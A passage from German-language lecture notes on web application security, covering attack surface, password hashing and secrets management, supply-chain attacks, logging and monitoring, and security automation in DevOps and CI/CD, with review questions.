ˆ Full-Text Search: viele Webapplikationen benötigen eine Volltextsuche,


diese wird teilweise über einen externen Suchserver implementiert. Die-
ser beinhaltet eine bearbeite Version des Datenbestands der Datenbank.
Ein mögliches Problem sind fehlende Berechtigungsüberprüfungen —
während auf der Datenbank der Datenzugriff zwar eingeschränkt wird,
wird dies häufig innerhalb der Suchdatenbank vergessen.
4.2. ANGRIFFSFLÄCHE/ATTACK SURFACE 43

ˆ External Services werden häufig von Webapplikationen aufgerufen bzw.


integriert. Ein Problem dabei ist, dass Webapplikationen häufig davon
ausgehen, dass externe Services sich an definierte Protokolle halten.

4.2 Angriffsfläche/Attack Surface


Die Angriffsfläche ist jener Bereich, auf den ein potentieller Angreifer Zugriff
erhält. Die extern sichtbare Webapplikation ist Teil der Angriffsfläche. Im
Sinne der Systemsicherheit sollten Entwickler versuchen, die Angriffsfläche zu
minimieren. Problematisch ist, dass die Angriffsfläche nicht nur die direkte
Applikation, sondern auch alle verbundenen Funktionen und Komponenten,
beinhaltet. Bei der Definition der Angriffsfläche sollten u.a. folgende Fragen
gestellt werden:

ˆ Sind interne Anwender potentielle Angreifer? In diesem Fall wären auch


interne Schnittstellen Teil der Angriffsfläche.

ˆ Sind Administratoren potentielle Angreifer? In diesem Fall wären auch


etwaige Administrationswebseiten Teil der Angriffsfläche.

ˆ Besitzt der Angreifer Zugriff auf Backups oder Logdateien?

ˆ Besitzt ein Angreifer Zugriff auf externe Services und sind daher die
Callbacks innerhalb der Applikation Teil der Angriffsfläche?

4.2.1 Wartungszuständigkeiten
Ein Problem bei Webapplikationen mit vielen Komponenten ist die Wartungs-
verantwortlichkeit. Die Applikation wird durch Softwareentwickler bereitge-
stellt, die Wartung der jeweiligen Komponenten erfolgt meistens durch Admi-
nistratoren.
Beispiel: eine Applikation benötigt einen Java-Applikationsserver (z.B. Tom-
cat). Die Administratoren setzen einen Linux Server auf und installieren ma-
nuell Tomcat (Download von der Hersteller-Website) da eine spezielle Tomcat
Version benötigt wird. Die Entwickler übergeben den kompilierten Source Co-
de als war-File welches von den Admins eingespielt wird. Das Betriebssystem
wird regelmäßig über dessen Update-Mechanismus upgedatet. Der Applika-
tionsserver kann nicht automatisch upgedatet werden, da hier erst von den
Entwicklern das okay kommen muss. Wer übernimmt das Update das Appli-
kationsservers (das nicht automatisiert werden kann)?
44 KAPITEL 4. WEB APPLIKATIONEN

Durch das Outsourcing von Funktionalität in die Cloud wurde dieses Pro-
blem noch verschärft, folgende Grundregeln können angenommen werden:

ˆ Self-hosted Server mit eigener Applikation: hier ist der Betreiber/Entwickler


für die Wartung aller Komponenten (inkl. Firmware, Lights-out-Management/BMC,
Netzwerkinfrastruktur) zuständig.

ˆ Infrastructure-as-a-Service (IaaS): hier ist der Anbieter (z.B. Amazon


mit seinem EC2 Dienst) für die Hardware, Virtualisierung, Firmware
und Netzwerkhardware zuständig. Der eingemietete User ist für Be-
triebssystem, Laufzeitumgebung, lokale betriebene Hintergrunddienste
wie z.B. Datenbanken und die Applikation zuständig.

ˆ Plattform-as-a-Service: hier ist der Anbieter (z.B. Heroku) zusätzlich (zu


den IaaS Dingen) noch für das Betriebssystem, die Laufzeitumgebung
und Hintergrundservices zuständig.

ˆ Software-as-a-Service (SaaS): hier ist der Anbieter der Software (z.B.


gmail) für die Wartung aller Komponente zuständig.

4.3 Speicherung von Passwörtern


Wenn Credentials unbedingt innerhalb der Applikation gespeichert werden
müssen, sind Schutzmaßnahmen für deren Vertraulichkeit unabdingbar. Sie
dürfen niemals in plain-text (unverschlüsselt) persistiert werden, sondern soll-
ten so früh wie möglich mittels einer Einwegfunktion transformiert werden.
Dies sollte innerhalb der Applikation und nicht erst z.B. in einer nachgelager-
ten Datenbank geschehen. Würde dies z.B. mittels eines Datenbanktriggers
durchgeführt werden, muss die Applikation das Passwort an die DB übergeben:
falls die DB nun das Passwort unsicher bearbeitet oder speichert (DB-Logs,
Journal, Fehlerlogs) kann dies durch die Applikation nicht beeinflusst werden.
Als Einwegfunktion wird zumeist eine kryptographische Hash-Variante
verwendet. Da Hashes auf deren Geschwindigkeit hin optimiert wurden, sind
diese eigentlich suboptimal für Passwort-Hashing geeignet: durch diese Opti-
mierung kann ein Angreifer ebenso effizient einen Brute-Force-Angriff durchführen.
Aus diesem Grund sind Key-Derivation-Functions (KDFs) vorzuziehen. Dies
sind Verfahren, die “konfigurierbar langsam” sind. Sie werden so langsam kon-
figuriert, dass sie im Normalbetrieb noch keinen übertriebenen negativen Im-
pact auf die Performance besitzen, aber gleichzeitig wirkungsvoll Brute-Force-
Angriffe unterbinden. Beispiele für KDFs sind PDKDF2, bcrypt und scrypt.
4.3. SPEICHERUNG VON PASSWÖRTERN 45

Werden Hashes extrahiert können offline Brute-Force Angriffe gegen diese


Hashes verwendet werden. Diese verwenden meistens multiple Grafikkarten
und benötigen keine online Verbindung zu der Online-Applikation. Die dabei
erreichten Geschwindigkeiten sind um eine Vielzahl höher als die bei Online-
Brute Force Angriffen erreichte Geschwindigkeit2 .
Ein weiteres Problem des Offline-Crackings von Passwörtern ist, dass es
für den Betreiber der Webseite keine Detektionsmöglichkeit des Vorgangs gibt.
Wird ein Brute-Force Angriff gegenüber einem Login-Formular durchgeführt,
kann ein Betreiber in Echtzeit dies erkennen und potentiell Gegenmaßnahmen
treffen. Wird eine Datenbank offline angegriffen, gibt es hier keine Interaktion
mit dem Betreiber, somit kann dies auch nicht automatisiert erkannt werden.

4.3.1 Umgang mit Credentials in Frameworks


Applikationen benötigen Konfigurationsdaten um effektiv funktionieren zu
können. Typische Daten, die in Konfigurationsdateien gefunden werden können,
inkludieren zum Beispiel Datenbankverbindungsdaten inkl. Credentials, Zu-
gangsdaten für verbundene Drittsysteme als auch Secrets (z.B. geheime Pass-
phrasen für das Verifizieren von Sessions und/oder Tokens). Würden diese
Daten direkt im Source Code hinterlegt werden, kann dies negative Auswir-
kung auf die Sicherheit haben. Ein Angreifer mit Zugriff auf den Source Code
würde Zugriff auf diese Zugangsdaten erhalten. Diese Angriffsfläche sollte nicht
unterschätzt werden, da der Source Code häufig sowohl auf Entwicklungs- als
auch Produktionsservern installiert ist. Zusätzlich wird Source Code norma-
lerweise in Versionierungssystemen (VCS, Version Control Systems, wie z.B.
Subversion oder Git) gespeichert und durch eine (kurzfristige) Fehlkonfigura-
tion kann diese Daten öffentlich verfügbar machen. Aus diesem Grund sollten
niemals Credentials unverschlüsselt in Source Code Repositories gespeichert
werden.

Konfigurationsmanagement mit dotenv/.env Dateien


Eine niederschwellige Art des Konfigurationsmanagement kann durch das do-
tenv bzw. .env System erreicht werden.
Betriebssysteme bieten sog. environment variables, auf Deutsch Umge-
bungsvariablen. Dies sind Variablen, die innerhalb des Betriebssystems ma-
nuell oder automatisiert gesetzt, und von Programmen ausgelesen werden
2
Ein Beispiel aus dem Jahr 2020 wären 10 GeForce RTX 2080 Ti Grafikkarten, diese
erreichen z.B. 551 Giga-Hashes/Sekunde (Quelle: [Link]
[Link].
46 KAPITEL 4. WEB APPLIKATIONEN

können. Die Variablen, die innerhalb einer Shell-Session gesetzt wurden, können
nur innerhalb dieser Session verwendet werden. Durch dieses Verhalten werden
die Variablen unterschiedlicher User und Programme voneinander abgegrenzt.
Der grundsätzliche Ansatz ist, dass alle Secrets und Konfigurationsvaria-
blen im Source Code durch Abfragen von Umgebungsvariablen ersetzt werden.
Auf diese Weise verschwinden diese sensiblen Daten zumindest aus dem Sour-
ce Code, sie müssen allerdings durch den Entwickler/Administrator vor dem
Start der Applikation in der Umgebung gesetzt werden (ansonsten würde das
startende Programm die notwendigen Konfigurationsdaten nicht erhalten).
dotenv versucht diesen Ansatz praktikabler zu gestalten: im Projektver-
zeichnis wird eine .env-Textdatei angelegt. In dieser steht pro Zeile ein Key/Value-
Paar, z.B. Konfigurationsname=Konfigurationswert. Wird die Applikation ge-
startet, liest diese initial das .env-File aus und geht die Liste der definierten
Variablen durch. Wird im environment file ein Konfigurationsname gefunden
für den noch keine Umgebungsvariable vorhanden ist, wird eine neue Um-
gebungsvariable mit im .env File gespeicherten Wert als Wert angelegt. Ist
eine environment variable mit dem Namen bereits bekannt, wird nichts unter-
nommen (die bestehende Umgebungsvariable wird nicht überschrieben, behält
ihren Wert und das ausgeführte Programm erhält so den bereits konfigurierten
Wert der Umgebungsvariablen). Das .env-File wird nicht in die Versionskon-
trolle eingecheckt, bei git kann es beispielsweise im .gitignore-File vermerkt
werden. Dadurch werden die Konfigurationswerte bzw. die konfigurierten Se-
crets niemals in die Versionskontrolle aufgenommen.
Da bestehende Umebungsvariablen nicht überschrieben werden, fügt sich
dieses System gut in bestehende Container-Umgebungen ein. Bei diesen können
zumeist im Administrationsbereich des Container-Managements Umgebungs-
variablen gesetzt werden. Diese werden bei Verwendung von .env-Dateien ge-
genüber den Konfigurationswerten aus dem .env-File bevorzugt und für das
Starten/Konfigurieren des Containers verwendet.

Credentials in Ruby on Rails


Als Beispiel wird hier kurz das Credential-Konzept von Ruby on Rails (Ver-
sion 5.2) vorgestellt. Innerhalb des Repositories gibt es eine Datei creden-
[Link] in welcher Credentials bzw. private Schlüssel abgelegt werden
können. Diese Datei wird immer verschlüsselt, der Entschlüsselungsschlüssel
wird unter config/[Link] gespeichert und wird nicht in der Versionskon-
trolle eingecheckt (bzw. wird dieses File explizit mittels .gitignore von der
Versionskontrolle ausgenommen). Entwickler müssen diesen Schlüssel manu-
ell zwischen den Entwicklungsworkstations kopieren, beim Deployen auf einen
4.4. REFLEKTIONSFRAGEN 47

Server kann dieser Schlüssel z.B. über eine Umgebungsvariable dem Webserver
mitgeteilt werden. Innerhalb des Ruby on Rails Sourcecodes kann man über die
Variable [Link] auf den Schlüssel key zugreifen (der innerhalb
des verschlüsselten Credential-File hinterlegt ist), mittels der Kommandozei-
lenoperation rails credentials:edit kann man die (kurzfristig) entschlüsselten
Credentials editieren. Auf diese Weise wird sichergestellt, dass falls ein Angrei-
fer ein Backup oder Source-Code Repository erbeutet, dieser trotzdem nicht
auf die sensiblen Credentials Zugriff erhält.

4.4 Reflektionsfragen
1. Was versteht man unter der Angriffsfläche? Gib mehrere Beispiele für
Angriffsflächen die über die reine Webapplikation hinausgehen.

2. Erkläre das Problem der Wartungszuständigkeit/Verantwortlichkeiten


wenn die Entwicklung und der Betrieb einer Webapplikation auf mehrere
Administratoren und Entwickler verteilt wird.

3. Erläutere den Unterschied zwischen impliziten und expliziten Routing


von Operationen am Applikationsserver.

4. Wie können Konfigurationsdaten sicher innerhalb einer Applikation be-


reitgestellt werden?
KAPITEL 5
Integration mit der
Umgebung

Eine Webapplikation sollte niemals isoliert betrachtet werden. Auch wenn die
vorgestellten Komponenten perfekt umgesetzt werden, ergibt sich aus der In-
teraktion zwischen der theoretischen Webapplikation und der realen Umge-
bung immer ein Gefahren- bzw. Verbesserungspotential.
Hierbei kann es sich z.B. um nicht-funktionale Elemente wie Logging han-
deln, oder aber auch um Aspekte wie Programmiersprache-inhärente Muster,
die einen negativen Einfluss auf die Sicherheit der Webapplikation besitzen
können.

5.1 Using Components with Known Vulnerabilities


Die Verwendung vorhandener und gewarteter externer Komponenten wie Bi-
bliotheken oder Frameworks besitzt sicherheitstechnisch viele Vorteile: man
kann von Fehlern anderen lernen bzw. muss das Rad nicht neu erfinden.
Damit wird allerdings auch der Nachteil eingekauft, dass eine Verwund-
barkeit innerhalb einer integrierten externen Komponente automatisch auch
eine Verwundbarkeit der eigenen Applikation impliziert. Daher müssen aktiv
und regelmäßig verwendete Komponenten auf bekannte Schwachstellen hin
überprüft, und ggf. die betroffenen Komponenten aktualisiert werden. Falls
über eine externe Komponente eine Schwachstelle ,,eingefangen” wird, wird
dies Supply-Chain Attack genannt: der Angriff erfolgt nicht direkt gegen die

49
50 KAPITEL 5. INTEGRATION MIT DER UMGEBUNG

Applikation selbst, sondern über die inkludierten Komponenten, quasi dem


Zulieferer (engl. Supply Chain).
Um den Aufwand dieser Überprüfungen zu reduzieren und damit optimaler-
weise deren Frequenz zu erhöhen gibt es automatisierte Tools wie den OWASP
Dependency-Check 1 oder OWASP Dependency-Track. Diese analysieren auto-
matisch Projekte auf Dependencies (z.B. über Ruby Gemfiles, NPM package-
[Link] Files, Maven Projektbeschreibungen), extrahieren automatisch de-
pendencies und korrelieren diese mit öffentlichen Verwundbarkeitsdatenban-
ken. Wird hier nun eine potentiell anwendbare Schwachstelle gefunden, wird
der Entwickler via Email oder Slack notifiziert.

5.1.1 Typo-Squatting und Dependency Confusion


Bei Supply-Chain Angriffen plazieren Angreifer Schadcode zumeist in neuen
Versionen bereits verwendeter Bibliotheken. Der Angreifer muss also Zugriff
auf den Source Code einer häufig verwendeten Bibliothek erlangen. Die Ge-
schichte zeigt, dass dies durchaus einfacher als gedacht ist2 .
Ein Angreifer kann Supply-Chain Angriffe auch ohne Erlangen eines be-
stehenden Projektes durchführen. Bei Typo-Squatting Angriffen kopiert der
Angreifer eine bestehende Bibliothek, reichert diese um Schadcode an, und
läd diese unter einem neuen Namen hoch. Der neue Name ist sehr ähnlich
dem ursprünglichen Namen der Bibliothek gewählt, der Angriff zielt darauf
ab, dass das Opfer beim Integrieren der eigentlich gewünschten Bibliothek
sich vertut oder vertippt und dadurch die falsche Bibliothek samt Schadcode
inkludiert.
Ein weiterer Angriffsvektor ist Dependency Confusion 3 . Hier entwickelt
das Opfer eine Software, die sowohl öffentliche als auch interne (private)
BBibliotheken verwendet. Der Angreifer kennt den Namen einer internen Bi-
bliothek und läd eine Schadsoftware mit diesem Namen auf ein öffentliches
Paketverzeichnis (welches von der Opfersoftware verwendet wird) hoch. In
Abhängigkeit von der verwendeten Programmiersprache, der verwendeten Pa-
ketverwaltung und dessen Konfiguration können zwei potentielle Schwachstel-
len auftreten:

1. Öffentliche Quelle werden gegenüber privaten Quellen bevorzugt: es wrid


nun der Schadcode aus dem öffentlichen Repository geladen.
1
[Link]
2
[Link]
[Link]
3
[Link]
5.2. INSUFFICIENT LOGGING AND MONITORING 51

2. Bei der Auswahl der Bibliothek aus internen und öffentlichen Quellen
,,gewinnt” das Paket mit der höchsten Version. In diesem Fall muss
der Angreier nur ein Paket mit einer höheren Versionnummer in das
öffentliche Repository hochladen um seinen Schadcode in die Opfersoft-
ware zu integrieren.

5.2 Insufficient Logging and Monitoring


Diese Schwachstelle wurde im Jahre 2017 neu bei den OWASP Top 10 aufge-
nommen. Es handelt sich hierbei weniger um eine Schwachstelle während der
Exekution, sondern eher um die Schaffung der Möglichkeit nach einem Angriff
aufgrund der vorhandenen Log-Dateien das Vorgehen des Angreifers und die
betroffenen Daten zu erkennen.
Folgende groben Anforderungen an das Log-System werden gestellt:

ˆ Es muss mit verteilten Applikationen umgehen können. Eine Webappli-


kation ist potentiell auf mehrere Computersysteme verteilt (Webserver,
Applikationsserver, Datenbankserver). Die Logdaten der gesamten Sys-
teme sollten an einer Stelle aggregiert werden.

ˆ Es muss die Integrität der Logdaten schützen: ein Angreifer sollte keine
Möglichkeit besitzen, die geloggten Daten zu beeinflussen. Würden z.B.
Logdaten direkt am Webserver gespeichert werden, könnte ein Angreifer
der den Webserver gehackt hat, ebenso die Logdaten modifizieren. Dies
impliziert, dass der Log-Server über eine genau definierte API erreichbar
sein sollte.

ˆ Es muss die Vertraulichkeit der Daten schützen. Da der Logserver Detai-


linformationen über betriebliche Abläufe speichert, müssen diese Daten
mindestens ebenso sicher wie die ursprünglichen Daten gespeichert wer-
den.

ˆ Das Log-System muss Möglichkeiten zur nachträglichen Auswertung der


gesammelten Daten bieten. Bonuspunkte, wenn man ein automatisiertes
Monitoring mit dem Log-System betreiben kann.

Die jeweiligen loggenden Systeme sollten alle sicherheitsrelevanten Events


(z.B. Input Validation Fehler, Authentication Fehler, Authorization Fehler,
Applikations-Fehler) an das zentrale Log-System schicken. Diese Daten sollen
um Business Process Events angereichert werden. Diese dienen dazu, relevante
52 KAPITEL 5. INTEGRATION MIT DER UMGEBUNG

geschäfts-relevante Prozesse und Ereignisse mit den Sicherheits-Events zu kor-


relieren. Weitere Datenquellen sind z.B. Anti-Automatisierungssysteme, wel-
che Brute-Force Angriffe erkennen, Datenverarbeitungssysteme (können auch
Batch-Systeme sein, die z.B. einen Daten-Export oder Backups ausführen)
und alle direkt und indirekt involvierten Services, wie z.B. Mailserver, Da-
tenbankserver, Backupdienste. Falls vorhanden, sollten die Loginformationen
sicherheitsrelevanter Komponenten (HIDS, NIDS, WAFs) auf jeden Fall in-
kludiert werden.
Bei dem Loggen sollte darauf geachtet werden, dass, wenn möglich, stan-
dardisierte Log-Formate wie CEF oder LEEF verwendet werden. Dadurch
wird das Konvertieren der jeweiligen Datenquellen auf ein gemeinsames For-
mat vermieden.
Welche Daten sollten pro Event erfasst werden?

ˆ Wann hat sich der Vorfall ereignet? Bei einer verteilten Applikation sollte
hier darauf geachtet werden, dass Timestamps die Zeitzone beinhalten
(und auch auf Zeitumstellungen achten). Grundlage für das temporale
korrelieren von Events ist es, dass alle beteiligten Server eine idente
Systemzeit besitzen (z.B. durch die Verwendung von ntp).

ˆ Wo ist das Event passiert? Hierfür können Systemnamen, Servicenamen,


Containernamen oder Applikationsnamen verwendet werden.

ˆ Für welchen Benutzer ist das Event passiert? Hier können Systembenut-
zer (mit denen das Service läuft) oder feingranular der gerade eingeloggte
Benutzer protokolliert werden.

ˆ Was ist passiert? Dies wird immer applikations- und event-spezifisch


sein. Viele Systeme verwenden zumindest eine idente Klassifizierung der
Wichtigkeit des Events.

Die Verwendung von personenbezogenen Daten kann das Logging verkom-


plizieren. Ein Unternehmen sollte klare Regeln erstellen, welche Daten ge-
loggt werden und, falls notwendig, Anonymisierung oder Pseudonymisierung
verwenden um sensible Daten zu maskieren. Ein ähnliches Problem tritt auf,
wenn Log-Informationen zwischen Unternehmen geteilt werden sollte (z.B. im
Zuge eines Informations-Lagebilds). Da diese Daten unter anderem personen-
bezogene Informationen als auch Betriebsgeheimnisse inkludieren können, wird
davon meistens abgesehen.
Die erfassten Daten sollten im Zuge einer Auswertung verwendet wer-
den. Hier werden häufig ”normale”Texteditoren in Verbindung mit regulären
5.3. DEVOPS UND TOOLING 53

Ausdrücken verwendet. Fortgeschrittene Lösungen wären ELK-Stacks, Kibana


und Logstash und z.B. Splunk.
In einem ähnlichem Umfeld arbeiten SIEM-Systeme (Security Informati-
on and Event Management). Diese werden zumeist als weiterer Schritt nach
Log-Management angesehen. Zusätzlich zum Log-Management wird zumeist
auch Security Event Management (real-time monitoring), Security Informa-
tion Management (long-term storage of security events) und Security Event
Correlattion durchgeführt.

5.3 DevOps und Tooling


DevOps ist eine neuere Strömung die versucht, Development und Operations
zu vereinen.
Webapplikationen werden zumeist von Entwickler erstellt und dann einem
Administratoren-Team zur Installation übergeben. Teilweise wird die Applika-
tion auch von den Entwicklern installiert und dann von den Administratoren
langfristig gewartet. In größeren Unternehmen wird die Installation und War-
tung teilweise auf zwei unterschiedliche Administratorenteams aufgeteilt.
Dies führt zu getrennten Teams mit getrennten Wissensstand und kann
im worst-case auch [Link] — ,,us vs. them”— führen. Diese Tren-
nung behindert den Informationsfluss und verhindert, und führt künstliche
Schranken im Verantwortlichkeitsgefühl ein (,,die Admins sind dafür verant-
wortlich”). Im Fehlerfall führt dieses Bunkerdenken auch zum Herum schieben
der Verantwortung zwischen Parteien.
DevOps versucht nun, wie der Name schon sagt, die Trennung von Entwick-
lung (,,Development”) und Administration (,,Operations”) zu beenden. Prin-
zipiell ist DevOps mehr eine Philosophie/gelebte Firmenkultur die stark von
der Kultur der kontinuierlichen Verbesserung (z.B. Kanban in Japan) geprägt
ist. Bei der Umsetzung bindet es stärker Entwickler in klassische Operations-
Bereiche wie Deployment ein.
Eine gute Beschreibung ist, dass DevOps agile Entwicklungsmethoden mit
agilen Deployment kombiniert.

5.3.1 Agile Methoden


Agile Methoden sind ein neueres Projektmanagement-Muster, welches im Agi-
le Manifesto4 folgende Grundsätze definiert:
4
[Link]
54 KAPITEL 5. INTEGRATION MIT DER UMGEBUNG

ˆ Individuals and interactions over processes and tools

ˆ Working Software over comprehensive documentation

ˆ Customer collaboration over contract negotiation

ˆ Responding to change over following a plan

Umgesetzt führt dies zumeist dazu, dass monolithische Projekte in kleine


minimale Teile transformiert werden. Diese werden dann, in Reihenfolge der
Kundenprioitisierung, abgearbeitet und regelmäßig der Fortschritt mit dem
Kunden besprochen. Im Zuge des Projektes kommt es häufiger zu Änderungswünschen,
diese können dann als weiteres Teilprojekt/Schritt inkludiert werden, die Ge-
schwindigkeit des Teams kann über Projektdauer immer genauer eingeschätzt
werden.
Damit die Projektsteuerung bei agiler Methodik funktioniert, darf ein ein-
mal erledigter Schritt/Problem nicht immer wieder (durch Bugs) kosten ver-
ursachen. Aus diesem Grund wird hier stark auf automatisierte Tests gesetzt.
Sofern diese Tests erfolgreich durchlaufen wird davon ausgegangen, dass das
Produkt funktioniert. Der master oder production-Branch der Software sollte
niemals fehlerhafte Testcases besitzen, kann daher jederzeit an den Kunden
ausgeliefert werden.

Anwendbarkeit agiler Methoden


Agile Methoden sind natürlich nicht für alle Projekte geeignet und werden
eher bei Startup-Projekten bzw. explorativen Projekten angetroffen. Bei An-
wendungen mit hoher Sicherheitsrelevanz gibt es Zeitweise sehr genau aus-
spezifizierte Lasten-/Pflichtenhefte, diese müssen dann auch dementsprechend
umgesetzt werden.

5.3.2 Infrastructure as Code


Ein Grundsatz Agiler Methoden ist ,,Working Software over comprehensive
documentation”.
Der Fokus auf Working Software anstatt auf Dokumentation schlägt sich
auch bei dem Deployment (dem Installieren der Software) nieder: dies wird
zumeist automatisiert als Skript durchgeführt und nicht als Dokumentation
ausgeliefert (und entspricht dadurch bereits dem DevOps-Gedanken).
Da im Zuge von Agilen Methoden versucht wird möglichst früh und möglichst
häufig lauffähigen Code beim Kunden bereitzustellen (bzw. als Testservice
5.3. DEVOPS UND TOOLING 55

dem Kunden zur Verfügung zu stellen) passieren Installationsvorgänge re-


gelmäßig. Um hier nun Redundanzen zu vermeiden (bzw. um Konfigurati-
onsfehler zu verhindern) wurden hier (historisch betrachtet) Installationsan-
weisungen immer stärker durch automatisierte Skripts ersetzt. Danach wurden
dezidierte Deploymentstools (wie z.B. capistrano) für das Setup der Applikati-
on konfiguriert und verwendet. Im Laufe der Zeit wurden diese Tools nicht nur
für die Applikation selbst, sondern auch für Datenbanken, Systemservices, etc.
angewandt; die historische Evolution sind mittlerweile dezidierte Frameworks
die zum Setup der Systeme dienen (wie z.B. Puppet, Chef oder Ansible).
Ein weiterer Vorteil dieses Ansatz ist, dass die verwendete Konfiguration
innerhalb der (hoffentlich) verwendeten Source Code Versionierung automa-
tisch versioniert und Veränderungen dokumentiert werden. Dies erlaubt das
einfachere Debuggen von Regressionen.

5.3.3 Continuous Integration and Continuous Delivery


Die Verwendung von Tests zur Sicherung der Softwarequalität ist ein essen-
tieller Bestandteil Agiler Methoden. Dem Kunden werden regelmäßig neue
Programmversionen mit erweiterten Features zugestellt und anhand des Kun-
denwunsches neue Features selektiert und im nächsten Programmier-Sprint
hinzugefügt. Würden Features fertig gestellt werden, die Fehler beinhalten
und müsste man nachträglich diese Fehler immer wieder neu korrigieren, würde
dadurch die Geschwindigkeit des Programmierteams stark leiden. Um dies zu
verhindern, werden massiv Softwaretests geschrieben, die überprüfen ob die
gewünschten Kundenfeatures ausreichend implementiert wurden. Diese Tests
werden aufgerufen, bevor ein neues Feature in die, dem Kunden übermittelten,
Version integriert wird. Auf diese Weise wird automatisch eine Kontrolle der
Qualität durchgeführt.
Um sicher zu stellen, dass diese Tests auch wirklich aufgerufen werden,
werden diese Tests automatisiert aufgerufen. Dies wird im Zuge des Conti-
nuous Integration Prozess durchgeführt: nach jeder Änderung wird versucht,
die Software zu bauen (builden) und anschließend werden die vorhandenen
Tests ausgeführt. Falls ein Fehler auftritt, wird der betroffene Entwickler so-
fort notifiziert.
Während Unit-Tests primär auf das Testen von Funktionen abzielen, wer-
den auch statische Source Code Tests integriert. Diese überprüfen die Qualität
des gelieferten Codes (z.B. Coding Guidelines) und sind n zweites Standbein
automatisierter Tests.
In einem finalen Schritt kann auch Continuous Delivery angewandt wer-
den, dies ist quasi die Ausdehnung des Continuous Integration Prozesses auf
56 KAPITEL 5. INTEGRATION MIT DER UMGEBUNG

das installieren der fertigen Software (in einer Testumgebung oder, im Extrem-
fall, direkt beim Kunden). Hier kann nach erfolgtem Bauen und Testen der
Software diese auf Knopfdruck (oder vollautomatisiert) in einem Test- bzw.
Produktivsystem eingespielt werden. Der Fluss von der Entwicklung über die
Kontrolle bis zur Installation ist somit vollzogen. Falls dies alles durch den
Entwickler konfiguriert wurde, kommt kein klassischer System-Administrator
im Prozess vor. Damit gibt es keine Teilung der Kompetenzen und Verant-
wortung mehr, der Schritt zu DevOps ist vollzogen.

5.4 DevOps and Security


Die Abkürzung DevOps besteht aus Development und Operations, das Wort
Security kommt dabei nicht vor.
Sicherheit in DevOps zu integrieren ist ein ähnliches Problemfeld wie das
ursprüngliche DevOps-Problem der Trennung zwischen Admins und Entwick-
lern. Wenn die Sicherheitsverantwortlichen ein getrenntes Team sind, dann
ergibt sich wieder Bunkerdenken, Wissensinseln als auch ein fehlendes Ver-
antwortungsgefühl.
Es wird nun Versucht das Sicherheitsteam in das DevOps-Team zu inte-
grieren und dadurch Security als gemeinsame Verantwortung zu etablieren.
Die Grundidee ist schön in folgendem Satz ausgeführt: ,,Security is built into
the System instead of being applied upon the finished product”.
Häufiger wird zwischen verschiedenen Ansätzen um Security einzubauen
unterschieden:

ˆ DevOpsSec: es wird ein Produkt entwickelt, danach wird die Administra-


tion durchgeführt. Final wird Security gewährleistet: ein Beispiel dafür
wäre es, dass nach Inbetriebnahme das Security-Team Security-Patches
einspielt. Das klassische Beispiel wäre das Anpassen und der Betrieb von
Standardsoftware.

ˆ DevSecOps: zuerst wird entwickelt, danach wird Security betrachtet und


danach die Administration fortgesetzt. Dieser Ansatz wird aktuell (2019)
häufig gesehen und ist zumindest besser als die Security generell zu igno-
rieren. Ein Beispiel hierfür wäre es, die Inbetriebnahme von der erfolgrei-
chen Durchführung einer Sicherheitsüberprüfung abhängig zu machen.

ˆ SecDevOps: betrachtet initial die Security (z.B. schon während der Pla-
nung der Software). Dadurch durchdringt Security die gesamte Entwick-
lung als auch die Administration.
5.4. DEVOPS AND SECURITY 57

Security bewirkt meistens einen Mehraufwand für die Entwickler. Um die-


sen Mehraufwand zu begrenzen, wird auch hier (im DevOps-Spirit) stark auf
Automatisierung gesetzt. So werden z.B. Sicherheitstests als automatisierte
Testprogramme implementiert und während der Testphase innerhalb des Con-
tinuous Integration Prozesses ausgeführt. Dadurch werden die Sicherheitstests
automatisch Teil des Abnahme-/Verifikationsprozess und durchdringt auf die-
se Weise die gesamte Entwicklung.

5.4.1 Automatisierung
Um die konsistente und regelmäßige Verwendung der Sicherheitstests zu en-
forcen wird die Ausführung der Sicherheitstests stark automatisiert. Dieses
Kapitel führt häufig verwendete automatisierte Tests an:

Automated Unit Tests


Unit Tests sind minimale Tests die ein Feature verifizieren. Die meisten Software-
Frameworks erlauben es, Tests auf Controller-Ebene zu schreiben für deren
Ausführung die Applikation nicht als gesamtes gestartet werden muss.
Alternativ kann ein Unit-Test z.B. als einfaches Shellskript, Python-Requests2
skript oder als JUnit-Test unter Verwendung von Java-Bibliotheken durch-
geführt werden. In dem Fall muss im Zuge der Tests ein Webserver gestartet
werden, diese Tests sind daher zeitaufwendiger.
Integrations-Tests testen die Funktionalität des Gesamtsystems. Hierbei
kann unter anderem auf Browser-basierte Frameworks wie Selenium oder Ca-
pybara zurückgegriffen werden. Durch diese wird ein oder mehrere Benutzer
mittels eines virtuellen Browsers simuliert — die Tests beschreiben die Benut-
zernavigation und -operationen innerhalb der Webseite. Hier kann man z.B.
zwei Benutzer simulieren: ein Benutzer legt Daten an und ein zweiter Benut-
zer versucht (invalid) auf diese Daten zuzugreifen. Diese Tests sind um einiges
Ressourcen- (da ein Webbrowser und Webserver benötigt wird) als auch zeit-
aufwendiger und werden daher zumeist nicht nach jeder Sourcecode-Änderung
durchgeführt.

Static Source Code Tests


Analog zur Analyse der Qualität des Source Codes (während des norma-
len DevOps-Prozesses) können auch Tools zur statischen Analyse des Source
Codes inkludiert werden. Diese prüfen den Source Code auf bekannte Pro-
grammiermuster und -fehler die sicherheitsrelevante Konsequenzen besitzen
können.
58 KAPITEL 5. INTEGRATION MIT DER UMGEBUNG

Hier gibt es meistens Programmier- und Framework-abhängige Tools wie


z.B. bandit für Python, Brakeman für Ruby on Rails und SpotBugs für Java.
Eine Ebene über diesen Einzeltools funktioniert OWASP SonarCube. Dieses
Tool kann intern die gesamten erwähnten Subtools anwenden und besitzt auch
Plugins um mittels OWASP dependency-check eine Überprüfung der verwen-
deten Abhängigkeiten (z.B. Bibliotheken) auf Schadcode hin durchzuführen.

Dynamic Application Scans


Zusätzlich zur statischen Source-Code Analyse kann man auch dynamische
Scans verwenden. Hierbei wird zumeist die Applikation in einer Testumge-
bung (z.B. staging) automatisiert installiert und danach mittels automatisier-
ter Web Application Security Scanner gescripted ein Test durchgeführt. Im
Falle einer Regression werden die Entwickler benachrichtigt. Beispiele hierfür
wäre z.B. das automatisierte Scannen einer Applikation mittels OWASP ZAP
unter Zuhilfename des [Link]-Skripts.

5.5 Reflektionsfragen
1. Was ist der Grundgedanke dabei, DevOps und Security zu verbinden?

2. Welche Sicherheitsmaßnahmen können im Zuge von SecDevOps auto-


matisiert durchgeführt werden? Erläutere die jeweiligen Maßnahmen.

3. Wie kann während der Continuous Integration (CI) oder Continuous


Delivery (CD) auf die Sicherheit eines Softwareprodukts Rücksicht ge-
nommen werden?

4. Was sind Supply-Chain Angriffe und wie können diese geschehen?


